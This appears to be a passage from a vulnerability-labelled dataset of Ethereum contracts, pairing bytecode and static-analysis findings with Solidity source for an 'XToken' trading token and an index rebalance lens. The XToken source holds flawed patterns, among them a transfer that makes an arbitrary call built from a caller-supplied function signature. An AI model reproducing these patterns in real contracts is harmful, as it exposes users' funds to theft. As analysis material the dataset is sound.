183398151915292908290030190a350600160a060020a0333166000908152600d602052604090206001810154610724908363ffffffff6112f516565b6001820155600281015461073f90600063ffffffff6112f516565b6002820155600381015461075a90600063ffffffff6112f516565b6003820155600481018054600160ff19918216811790911681179091556008805490910190555b5090565b60408051808201909152600c81527f436c7573746572546f6b656e0000000000000000000000000000000000000000602082015281565b80158015906107ef5750600160a060020a0333811660009081526002602090815260408083209386168352929052205415155b156107fa5760006000fd5b600160a060020a03338116600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35b5050565b60065460009043038180610881620f4240610875610f77565b9063ffffffff61128316565b915061089d6103e8610875610e67565b9063ffffffff61128316565b90506108bf816108b3858563ffffffff61131116565b9063ffffffff61131116565b93505b50505090565b60005481565b6000606060643610156108e15760006000fd5b600160a060020a038086166000908152600260209081526040808320338516845282528083205493881683526001909152902054909250610928908463ffffffff6112f516565b600160a060020a03808616600090815260016020526040808220939093559087168152205461095d908463ffffffff61131116565b600160a060020a038616600090815260016020526040902055610986828463ffffffff61131116565b600160a060020a038087166000818152600260209081526040808320338616845282529182902094909455805187815290519288169391926000805160206113c1833981519152929181900390910190a35b5b5050505050565b601281565b60045460009033600160a060020a03908116911614610a045760006000fd5b600160a060020a033316600090815260016020526040902054610a2d908363ffffffff61131116565b600160a060020a03331660009081526001602052604081209190915554610a5a908363ffffffff61131116565b6000908155604080518481529051600160a060020a033316916000805160206113c1833981519152919081900360200190a35060015b5b919050565b33600160a060020a038116600090815260036020526040902054801515610abd5760006000fd5b8030600160a060020a0316311015610ad55760006000fd5b600160a060020a0382166000818152600360205260408082208290555183156108fc0291849190818181858888f193505050501515610b145760006000fd5b60408051600160a060020a03841681526020810183905281517f991678bf7f45816a1ff5cf860f3dabd3e26c34d959aa479904bf9caec17af1c5929181900390910190a15b5050565b60045433600160a060020a03908116911614610b795760006000fd5b6004805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790555b5b565b60085481565b600160a060020a0381166000908152600160205260409020545b919050565b60045474010000000000000000000000000000000000000000900460ff1681565b60045433600160a060020a03908116911614610c145760006000fd5b60045474010000000000000000000000000000000000000000900460ff161515610c3e5760006000fd5b6004805474ff0000000000000000000000000000000000000000191690555b5b5b565b60006000600060006000610c73610e67565b1515610c7f5760006000fd5b600160a060020a0333166000908152600d602052604090206004015460ff161515610caa5760006000fd5b600160a060020a0333166000908152600d6020526040902060020154610cde90610cd2610f77565b9063ffffffff6112f516565b9350610d0f610cfb856108b3610e67565b9063ffffffff61131116565b610cd2610f77565b9063ffffffff6112f516565b9250821515610d1e5760006000fd5b600160a060020a0333166000908152600d6020526040902060010154610d519066038d7ea4c6800063ffffffff6112b216565b9150610d6a6008546005546112b290919063ffffffff16565b9050610d9c6002610691600a81858763ffffffff61128316565b9063ffffffff6112b216565b9063ffffffff6112b216565b600160a060020a03338116600081815260016020908152604080832080548701905530909416808352918490208054869003905583518581529351949950919390926000805160206113c183398151915292908290030190a3610dfd610e67565b600160a060020a0333166000908152600d60205260409020600201555b5050505090565b600454600160a060020a031681565b60408051808201909152600481527f434c525400000000000000000000000000000000000000000000000000000000602082015281565b60065460009043038180610e8b6103e8610875610f77565b9063ffffffff61128316565b9150610eaf826108b3856103e863ffffffff6112b216565b9063ffffffff61131116565b90508093505b50505090565b60406044361015610ecc5760006000fd5b600160a060020a033316600090815260016020526040902054610ef5908363ffffffff61131116565b600160a060020a033381166000908152600160205260408082209390935590851681522054610f2a908363ffffffff6112f516565b600160a060020a038085166000818152600160209081526040918290209490945580518681529051919333909316926000805160206113c183398151915292918290030190a35b5b505050565b600654600090430381610f9382620f424063ffffffff6112b216565b90508092505b505090565b600d6020526000908152604090208054600182015460028301546003840154600490940154600160a060020a0390931693919290919060ff1685565b60006000600060006000610fec610e67565b1515610ff85760006000fd5b600160a060020a0333166000908152600d602052604090206004015460ff1615156110235760006000fd5b600160a060020a0333166000908152600d60205260409020600301549350611059846108b3610f77565b9063ffffffff61131116565b92508215156110685760006000fd5b6110713361132a565b151561107d5760006000fd5b600160a060020a0333166000908152600d60205260409020600101546110b09066038d7ea4c6800063ffffffff6112b216565b91506110c96008546005546112b290919063ffffffff16565b90506110ed6103e8610875838563ffffffff61128316565b9063ffffffff61128316565b600160a060020a03338116600081815260016020908152604080832080548701905530909416808352918490208054869003905583518581529351949950919390926000805160206113c183398151915292908290030190a361114e610f77565b600160a060020a0333166000908152600d60205260409020600301555b5050505090565b60045433600160a060020a0390811691161461118e5760006000fd5b600030600160a060020a031631111561018b57600454604051600160a060020a039182169130163180156108fc02916000818181858888f19350505050151561018b5760006000fd5b5b5b5b565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60065443035b90565b60036020526000908152604090205481565b60065481565b60045433600160a060020a039081169116146112465760006000fd5b600160a060020a03811615610189576004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b60008282026112a78415806112a2575083858381151561129f57fe5b04145b6113af565b8091505b5092915050565b600060006112c2600084116113af565b82848115156112cd57fe5b0490506112a783858115156112de57fe5b068285020185146113af565b8091505b5092915050565b60008282016112a7848210156113af565b8091505b5092915050565b600061131f838311156113af565b508082035b92915050565b60006000600061136161133b610e67565b610cd26103e8610875610f77565b9063ffffffff61128316565b9063ffffffff6112f516565b600160a060020a0385166000908152600d602052604090206002015490925090506103e8611395838363ffffffff61131116565b106113a357600192506113a8565b600092505b5050919050565b8015156101895760006000fd5b5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058205921529dc31cd98e5e6a10fc52c855ecb617f657ff728146f6ee2109a24c92d30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,274 |
0xfe8b40a35ff222c8475385f74e77d33954531b41
|
pragma solidity ^0.4.24;
// ////////////////////////////////////////////////////////////////////////////////////////////////////
// ___ ___ ___ __
// ___ / /\ / /\ / /\ | |\
// /__/\ / /::\ / /::\ / /::| | |:|
// \ \:\ / /:/\:\ / /:/\:\ / /:|:| | |:|
// \__\:\ / /::\ \:\ / /::\ \:\ / /:/|:|__ |__|:|__
// / /::\ /__/:/\:\ \:\ /__/:/\:\_\:\ /__/:/_|::::\ ____/__/::::\
// / /:/\:\ \ \:\ \:\_\/ \__\/ \:\/:/ \__\/ /~~/:/ \__\::::/~~~~
// / /:/__\/ \ \:\ \:\ \__\::/ / /:/ |~~|:|
// /__/:/ \ \:\_\/ / /:/ / /:/ | |:|
// \__\/ \ \:\ /__/:/ /__/:/ |__|:|
// \__\/ \__\/ \__\/ \__\|
// ______ ______ ______ _____ _ _ ______ ______ _____
// | | | \ | | | \ / | | \ | | \ \ | | | | | | | | | | \ \
// | |__|_/ | |__| | | | | | | | | | | | | | | | | |---- | | | |
// |_| |_| \_\ \_|__|_/ |_|_/_/ \_|__|_| |_|____ |_|____ |_|_/_/
//
// TEAM X All Rights Received. http://teamx.club
// This product is protected under license. Any unauthorized copy, modification, or use without
// express written consent from the creators is prohibited.
// Any cooperation Please email: service@teamx.club
// ////////////////////////////////////////////////////////////////////////////////////////////////////
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
//=========================================================...
// |\/| _ . _ /~` _ _ _|_ _ _ __|_ .
// | |(_||| | \_,(_)| | | | (_|(_ | . Main Contract
//=========================================================
contract XToken is Owned {
using SafeMath for uint256;
event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
mapping(address => uint256) balances;
string public name = "XToken";
string public symbol = "XT";
uint8 public decimals = 18;
uint256 private fee_ = 5; // 5% fee to buy and sell
uint256 public totalSupply = 100000000 * (1 ether);
uint256 public tokenMarketPool = 0; // no shares
uint256 public poolPrice = 1 finney;
//=========================================================...
// _ _ _ __|_ _ __|_ _ _
// (_(_)| |_\ | ||_|(_ | (_)|
//=========================================================
constructor () public {
balances[msg.sender] = 30000000 * (1 ether); // keeps 30%
tokenMarketPool = totalSupply.sub(balances[msg.sender]);
}
//=========================================================...
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . public functions
//=|=======================================================
function () public payable {
if (!isContract(msg.sender)) {
revert("Can not Send Eth directly to this token");
}
}
function buy() public payable {
uint256 ethAmount = msg.value;
uint256 taxed = ethAmount.sub(ethAmount.mul(fee_).div(100));
uint256 tokenAmount = taxed.mul(1 ether).div(poolPrice);
require(tokenMarketPool >= tokenAmount, "No enough token in market pool");
tokenMarketPool = tokenMarketPool.sub(tokenAmount);
balances[msg.sender] = balanceOf(msg.sender).add(tokenAmount);
}
function sell(uint256 tokenAmount) public {
require(balanceOf(msg.sender) >= tokenAmount, "No enough token");
uint256 sellPrice = getSellPrice();
uint256 soldEth = tokenAmount.mul(sellPrice).div(1 ether);
balances[msg.sender] = balanceOf(msg.sender).sub(tokenAmount);
tokenMarketPool = tokenMarketPool.add(tokenAmount);
uint256 gotEth = soldEth.sub(soldEth.mul(fee_).div(100));
msg.sender.transfer(gotEth);
}
function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public returns (bool success) {
if (isContract(_to)) {
require(balanceOf(msg.sender) >= _value, "no enough token");
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
//=========================================================...
// . _ |` _ __|_. _ _ _ .
// \/|(/_VV ~|~|_|| |(_ | |(_)| |_\ . view functions
//=========================================================
function getShareToken() public view returns (uint256) {
return totalSupply.sub(tokenMarketPool);
}
function getSellPrice() public view returns (uint256) {
return address(this).balance.mul(1 ether).div(getShareToken());
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
//=========================================================...
// _ _. _ _|_ _ |` _ __|_. _ _ _ .
// |_)| |\/(_| | (/_ ~|~|_|| |(_ | |(_)| |_\ . private functions
//=|=======================================================
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool success) {
require (balanceOf(msg.sender) >= _value, "No Enough Token");
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) {
require (balanceOf(msg.sender) >= _value, "No Enough Token");
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
}
//=========================================================...
// . _ _|_ _ _|` _ _ _
// || | | (/_|~|~(_|(_(/_
//=========================================================
interface ContractReceiver {
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
interface ERC20Interface {
function transfer(address _to, uint256 _value) external returns (bool);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101ac57806318160ddd1461023c5780632bdb0d9214610267578063313ce5671461029257806343d32e9c146102c357806370a08231146102ee57806379ba5097146103455780638da5cb5b1461035c57806395d89b41146103b3578063a6f2ae3a14610443578063a9059cbb1461044d578063abd5f3c7146104b2578063be45fd62146104dd578063d4ee1d9014610588578063dc39d06d146105df578063e4849b3214610644578063ee35478a14610671578063f2fde38b1461069c578063f6368f8a146106df575b610110336107d0565b15156101aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f43616e206e6f742053656e6420457468206469726563746c7920746f2074686981526020017f7320746f6b656e0000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b005b3480156101b857600080fd5b506101c16107e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102015780820151818401526020810190506101e6565b50505050905090810190601f16801561022e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024857600080fd5b50610251610881565b6040518082815260200191505060405180910390f35b34801561027357600080fd5b5061027c610887565b6040518082815260200191505060405180910390f35b34801561029e57600080fd5b506102a76108a5565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cf57600080fd5b506102d86108b8565b6040518082815260200191505060405180910390f35b3480156102fa57600080fd5b5061032f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090a565b6040518082815260200191505060405180910390f35b34801561035157600080fd5b5061035a610953565b005b34801561036857600080fd5b50610371610af2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103bf57600080fd5b506103c8610b17565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104085780820151818401526020810190506103ed565b50505050905090810190601f1680156104355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044b610bb5565b005b34801561045957600080fd5b50610498600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d22565b604051808215151515815260200191505060405180910390f35b3480156104be57600080fd5b506104c7610d5b565b6040518082815260200191505060405180910390f35b3480156104e957600080fd5b5061056e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610d61565b604051808215151515815260200191505060405180910390f35b34801561059457600080fd5b5061059d610d98565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105eb57600080fd5b5061062a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dbe565b604051808215151515815260200191505060405180910390f35b34801561065057600080fd5b5061066f60048036038101908080359060200190929190505050610f22565b005b34801561067d57600080fd5b506106866110e2565b6040518082815260200191505060405180910390f35b3480156106a857600080fd5b506106dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110e8565b005b3480156106eb57600080fd5b506107b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611187565b604051808215151515815260200191505060405180910390f35b600080823b905060008111915050919050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108795780601f1061084e57610100808354040283529160200191610879565b820191906000526020600020905b81548152906001019060200180831161085c57829003601f168201915b505050505081565b60075481565b60006108a060085460075461154190919063ffffffff16565b905090565b600560009054906101000a900460ff1681565b60006109056108c5610887565b6108f7670de0b6b3a76400003073ffffffffffffffffffffffffffffffffffffffff163161155a90919063ffffffff16565b61159290919063ffffffff16565b905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109af57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bad5780601f10610b8257610100808354040283529160200191610bad565b820191906000526020600020905b815481529060010190602001808311610b9057829003601f168201915b505050505081565b6000806000349250610bf7610be86064610bda6006548761155a90919063ffffffff16565b61159290919063ffffffff16565b8461154190919063ffffffff16565b9150610c28600954610c1a670de0b6b3a76400008561155a90919063ffffffff16565b61159290919063ffffffff16565b90508060085410151515610ca4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4e6f20656e6f75676820746f6b656e20696e206d61726b657420706f6f6c000081525060200191505060405180910390fd5b610cb98160085461154190919063ffffffff16565b600881905550610cda81610ccc3361090a565b6115a890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60006060610d2f846107d0565b15610d4657610d3f8484836115c4565b9150610d54565b610d5184848361190c565b91505b5092915050565b60095481565b6000610d6c846107d0565b15610d8357610d7c8484846115c4565b9050610d91565b610d8e84848461190c565b90505b9392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1b57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610edf57600080fd5b505af1158015610ef3573d6000803e3d6000fd5b505050506040513d6020811015610f0957600080fd5b8101908080519060200190929190505050905092915050565b600080600083610f313361090a565b10151515610fa7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4e6f20656e6f75676820746f6b656e000000000000000000000000000000000081525060200191505060405180910390fd5b610faf6108b8565b9250610fde670de0b6b3a7640000610fd0858761155a90919063ffffffff16565b61159290919063ffffffff16565b9150610ffb84610fed3361090a565b61154190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611053846008546115a890919063ffffffff16565b60088190555061109361108460646110766006548661155a90919063ffffffff16565b61159290919063ffffffff16565b8361154190919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110db573d6000803e3d6000fd5b5050505050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611192856107d0565b1561152b57836111a13361090a565b10151515611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f6e6f20656e6f75676820746f6b656e000000000000000000000000000000000081525060200191505060405180910390fd5b611232846112243361090a565b61154190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611290846112828761090a565b6115a890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b60208310151561132257805182526020820191506020810190506020830392506112fd565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156114035780820151818401526020810190506113e8565b50505050905090810190601f1680156114305780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561145057fe5b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156114e75780820151818401526020810190506114cc565b50505050905090810190601f1680156115145780820380516001836020036101000a031916815260200191505b50935050505060405180910390a360019050611539565b61153685858561190c565b90505b949350505050565b600082821115151561154f57fe5b818303905092915050565b60008083141561156d576000905061158c565b818302905081838281151561157e57fe5b0414151561158857fe5b8090505b92915050565b6000818381151561159f57fe5b04905092915050565b600081830190508281101515156115bb57fe5b80905092915050565b600080836115d13361090a565b10151515611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4e6f20456e6f75676820546f6b656e000000000000000000000000000000000081525060200191505060405180910390fd5b611662846116543361090a565b61154190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116c0846116b28761090a565b6115a890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156117c85780820151818401526020810190506117ad565b50505050905090810190601f1680156117f55780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561181657600080fd5b505af115801561182a573d6000803e3d6000fd5b505050508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156118c55780820151818401526020810190506118aa565b50505050905090810190601f1680156118f25780820380516001836020036101000a031916815260200191505b50935050505060405180910390a360019150509392505050565b6000826119183361090a565b1015151561198e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4e6f20456e6f75676820546f6b656e000000000000000000000000000000000081525060200191505060405180910390fd5b6119a98361199b3361090a565b61154190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a07836119f98661090a565b6115a890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ae1578082015181840152602081019050611ac6565b50505050905090810190601f168015611b0e5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a36001905093925050505600a165627a7a723058209eca017f1c5a5c806ad372d5ee1c14ef3f3faf46e599027c09a721d054f571eb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,275 |
0x4977b878ec85d18c8a1222f7233fe43174a93cf2
|
/**
*Submitted for verification at Etherscan.io on 2021-08-18
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
pragma abicoder v2;
contract IndexedRebalanceLens {
using DynamicArrays for address[];
enum IndexVersion { NONE, CORE, SIGMA }
enum RebalanceType { REWEIGH, REINDEX }
enum Troolean { UNKNOWN, TRUE, FALSE }
struct IndexInfo {
IPool pool;
IndexVersion version;
RebalanceType next;
}
struct RebalanceRequirements {
bool delayOK;
bool twapOK;
bool sortOK;
Troolean tokenCountOK;
Troolean strategyOK;
}
uint256 internal constant MAX_SORT_DELAY = 1 days;
uint256 internal constant POOL_REWEIGH_DELAY = 1 weeks;
uint32 internal constant SHORT_MIN = 20 minutes;
uint32 internal constant SHORT_MAX = 2 days;
uint32 internal constant LONG_MIN = 1 days;
uint32 internal constant LONG_MAX = 1.5 weeks;
ICoreController public constant CORE_CONTROLLER = ICoreController(0xF00A38376C8668fC1f3Cd3dAeef42E0E44A7Fcdb);
ISigmaController public constant SIGMA_CONTROLLER = ISigmaController(0x5B470A8C134D397466A1a603678DadDa678CBC29);
IOracle public constant ORACLE = IOracle(0xFa5a44D3Ba93D666Bf29C8804a36e725ecAc659A);
function init(IndexInfo memory info) internal view {
address controller = info.pool.getController();
info.version =
controller == address(CORE_CONTROLLER)
? IndexVersion.CORE
: controller == address(SIGMA_CONTROLLER)
? IndexVersion.SIGMA
: IndexVersion.NONE;
}
function timeSince(uint256 ts) internal view returns (uint256) {
return block.timestamp - ts;
}
function checkUpdateNeeded(address token, uint256 min, uint256 max) public view returns (bool needsUpdate) {
try ORACLE.computeAverageEthPrice(token, min, max) returns (IOracle.uq112x112 memory) {
return false;
} catch {
return true;
}
}
function checkUpdateNeeded(
address[] memory tokens,
uint256 min,
uint256 max
) public view returns (address[] memory needUpdate) {
uint256 len = tokens.length;
needUpdate = DynamicArrays.dynamicAddressArray(len + 1);
for (uint256 i; i < len; i++) {
address token = tokens[i];
if (checkUpdateNeeded(token, min, max)) {
needUpdate.dynamicPush(token);
}
}
}
function checkCurrentTokens(
IPool pool,
uint256 minTimeElapsed,
uint256 maxTimeElapsed
) internal view returns (address[] memory tokensNeedingUpdate) {
tokensNeedingUpdate = checkUpdateNeeded(
pool.getCurrentTokens(),
minTimeElapsed,
maxTimeElapsed
);
}
function getPoolStatus(address pool) external view returns (
IndexInfo memory info,
RebalanceRequirements memory reqs,
address[] memory tokensNeedingUpdate
) {
info.pool = IPool(pool);
init(info);
require(info.version != IndexVersion.NONE, "Invalid pool");
if (info.version == IndexVersion.CORE) {
(reqs, tokensNeedingUpdate) = checkCorePool(info);
} else {
(reqs, tokensNeedingUpdate) = checkSigmaPool(info);
}
}
function troolify(bool b) internal pure returns (Troolean) {
return b ? Troolean.TRUE : Troolean.FALSE;
}
function checkCorePool(IndexInfo memory info)
internal
view
returns (RebalanceRequirements memory reqs, address[] memory tokensNeedingUpdate)
{
ICoreController.IndexPoolMeta memory meta = CORE_CONTROLLER.getPoolMeta(address(info.pool));
info.next = meta.reweighIndex % 4 == 3 ? RebalanceType.REINDEX : RebalanceType.REWEIGH;
reqs.delayOK = timeSince(meta.lastReweigh) >= POOL_REWEIGH_DELAY;
reqs.strategyOK = Troolean.TRUE;
if (info.next == RebalanceType.REWEIGH) {
tokensNeedingUpdate = checkCurrentTokens(info.pool, LONG_MIN, LONG_MAX);
reqs.tokenCountOK = Troolean.TRUE;
} else {
address[] memory categoryTokens = CORE_CONTROLLER.getCategoryTokens(meta.categoryID);
tokensNeedingUpdate = checkUpdateNeeded(
categoryTokens,
LONG_MIN,
LONG_MAX
);
reqs.sortOK = timeSince(CORE_CONTROLLER.getLastCategoryUpdate(meta.categoryID)) <= MAX_SORT_DELAY;
reqs.tokenCountOK = troolify(categoryTokens.length >= meta.indexSize);
(address eToken,) = info.pool.extrapolatePoolValueFromToken();
if (!tokensNeedingUpdate.includes(eToken)) {
if (checkUpdateNeeded(eToken, SHORT_MIN, SHORT_MAX)) {
tokensNeedingUpdate.dynamicPush(eToken);
}
}
}
reqs.twapOK = tokensNeedingUpdate.length == 0;
}
function tryGetScores(
address strategy,
